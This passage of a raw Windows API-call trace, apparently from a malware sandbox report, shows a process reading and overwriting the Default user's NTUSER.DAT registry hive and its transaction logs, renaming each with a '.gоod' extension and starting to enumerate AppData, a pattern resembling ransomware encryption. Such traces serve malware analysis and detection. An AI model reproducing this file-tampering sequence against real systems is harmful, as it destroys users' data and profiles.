"c:\\users\\default\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0153.890] GetFileType (hFile=0x650) returned 0x1 [0153.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0153.890] GetFileType (hFile=0x650) returned 0x1 [0153.891] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0153.891] ReadFile (in: hFile=0x650, lpBuffer=0x33b7380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x33b7380*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0153.894] CloseHandle (hObject=0x650) returned 1 [0153.894] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT", lpFilePart=0x0) returned 0x1b [0153.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0153.894] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0153.894] GetFileType (hFile=0x650) returned 0x1 [0153.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0153.894] GetFileType (hFile=0x650) returned 0x1 [0153.894] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x40000 [0153.894] WriteFile (in: hFile=0x650, lpBuffer=0x33ba870*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x33ba870*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0153.895] CloseHandle (hObject=0x650) returned 1 [0153.895] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT", lpFilePart=0x0) returned 0x1b [0153.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0153.895] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0153.895] GetFileType (hFile=0x650) returned 0x1 [0153.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0153.896] GetFileType (hFile=0x650) returned 0x1 [0153.896] ReadFile (in: hFile=0x650, lpBuffer=0x33bcad0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x33bcad0*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0154.057] CloseHandle (hObject=0x650) returned 1 [0154.058] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT", lpFilePart=0x0) returned 0x1b [0154.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0154.058] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0154.058] GetFileType (hFile=0x650) returned 0x1 [0154.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0154.058] GetFileType (hFile=0x650) returned 0x1 [0154.058] WriteFile (in: hFile=0x650, lpBuffer=0x3270490*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x3270490*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0154.058] CloseHandle (hObject=0x650) returned 1 [0154.058] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT", lpFilePart=0x0) returned 0x1b [0154.058] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT.gоod", lpFilePart=0x0) returned 0x20 [0154.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0154.058] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c4aac40, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x7a4c27fa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x5809c300, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40010)) returned 1 [0154.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0154.059] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.gоod" (normalized: "c:\\users\\default\\ntuser.dat.gоod")) returned 1 [0154.060] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", lpFilePart=0x0) returned 0x48 [0154.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0154.060] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tm.blf"), fInfoLevelId=0x0, lpFileInformation=0x32ed098 | out: lpFileInformation=0x32ed098*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7dab84ff, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0xacbd1187, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x855f639a, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0154.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0154.060] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", lpFilePart=0x0) returned 0x48 [0154.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0154.060] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0154.060] GetFileType (hFile=0x650) returned 0x1 [0154.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0154.060] GetFileType (hFile=0x650) returned 0x1 [0154.060] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0154.060] ReadFile (in: hFile=0x650, lpBuffer=0x32ed560, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x32ed560*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0154.231] CloseHandle (hObject=0x650) returned 1 [0154.801] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", lpFilePart=0x0) returned 0x48 [0154.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0154.809] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0154.809] GetFileType (hFile=0x80c) returned 0x1 [0154.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0154.810] GetFileType (hFile=0x80c) returned 0x1 [0154.810] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x10000 [0154.810] WriteFile (in: hFile=0x80c, lpBuffer=0x33dffe8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x33dffe8*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0154.812] CloseHandle (hObject=0x80c) returned 1 [0154.830] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", lpFilePart=0x0) returned 0x48 [0154.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0154.830] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0154.831] GetFileType (hFile=0x80c) returned 0x1 [0154.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0154.831] GetFileType (hFile=0x80c) returned 0x1 [0154.831] ReadFile (in: hFile=0x80c, lpBuffer=0x33fbb10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x33fbb10*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0154.874] CloseHandle (hObject=0x80c) returned 1 [0154.874] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", lpFilePart=0x0) returned 0x48 [0154.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0154.874] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0154.875] GetFileType (hFile=0x80c) returned 0x1 [0154.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0154.875] GetFileType (hFile=0x80c) returned 0x1 [0154.875] WriteFile (in: hFile=0x80c, lpBuffer=0x33fa810*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x33fa810*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0154.875] CloseHandle (hObject=0x80c) returned 1 [0154.875] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", lpFilePart=0x0) returned 0x48 [0154.875] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.gоod", lpFilePart=0x0) returned 0x4d [0154.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0154.875] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tm.blf"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7dab84ff, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0xacbd1187, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x5885bd9b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10010)) returned 1 [0154.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0154.875] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tm.blf"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.gоod" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tm.blf.gоod")) returned 1 [0154.876] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", lpFilePart=0x0) returned 0x48 [0154.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0154.876] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf"), fInfoLevelId=0x0, lpFileInformation=0x34784d0 | out: lpFileInformation=0x34784d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b6f06dc, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b6f06dc, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b762e4b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0155.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0155.020] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", lpFilePart=0x0) returned 0x48 [0155.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0155.020] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0155.021] GetFileType (hFile=0x80c) returned 0x1 [0155.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0155.021] GetFileType (hFile=0x80c) returned 0x1 [0155.021] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0155.021] ReadFile (in: hFile=0x80c, lpBuffer=0x3465b18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x3465b18*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0155.366] CloseHandle (hObject=0x80c) returned 1 [0155.366] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", lpFilePart=0x0) returned 0x48 [0155.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0155.366] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0155.368] GetFileType (hFile=0x80c) returned 0x1 [0155.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0155.368] GetFileType (hFile=0x80c) returned 0x1 [0155.368] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x10000 [0155.369] WriteFile (in: hFile=0x80c, lpBuffer=0x3499428*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x3499428*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0155.393] CloseHandle (hObject=0x80c) returned 1 [0155.393] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", lpFilePart=0x0) returned 0x48 [0155.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0155.393] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0155.393] GetFileType (hFile=0x80c) returned 0x1 [0155.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0155.393] GetFileType (hFile=0x80c) returned 0x1 [0155.393] ReadFile (in: hFile=0x80c, lpBuffer=0x34e6930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x34e6930*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0156.280] CloseHandle (hObject=0x80c) returned 1 [0156.280] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", lpFilePart=0x0) returned 0x48 [0156.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0156.280] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0156.280] GetFileType (hFile=0x80c) returned 0x1 [0156.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0156.280] GetFileType (hFile=0x80c) returned 0x1 [0156.281] WriteFile (in: hFile=0x80c, lpBuffer=0x3312508*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x3312508*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0156.281] CloseHandle (hObject=0x80c) returned 1 [0156.281] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", lpFilePart=0x0) returned 0x48 [0156.281] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.gоod", lpFilePart=0x0) returned 0x4d [0156.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0156.281] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b6f06dc, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b6f06dc, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x595c50ac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10010)) returned 1 [0156.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0156.281] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.gоod" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf.gоod")) returned 1 [0156.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0156.282] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData", lpFilePart=0x0) returned 0x18 [0156.282] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3aee4d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.282] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3aee4d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.282] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0156.282] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8c01f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0156.283] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, 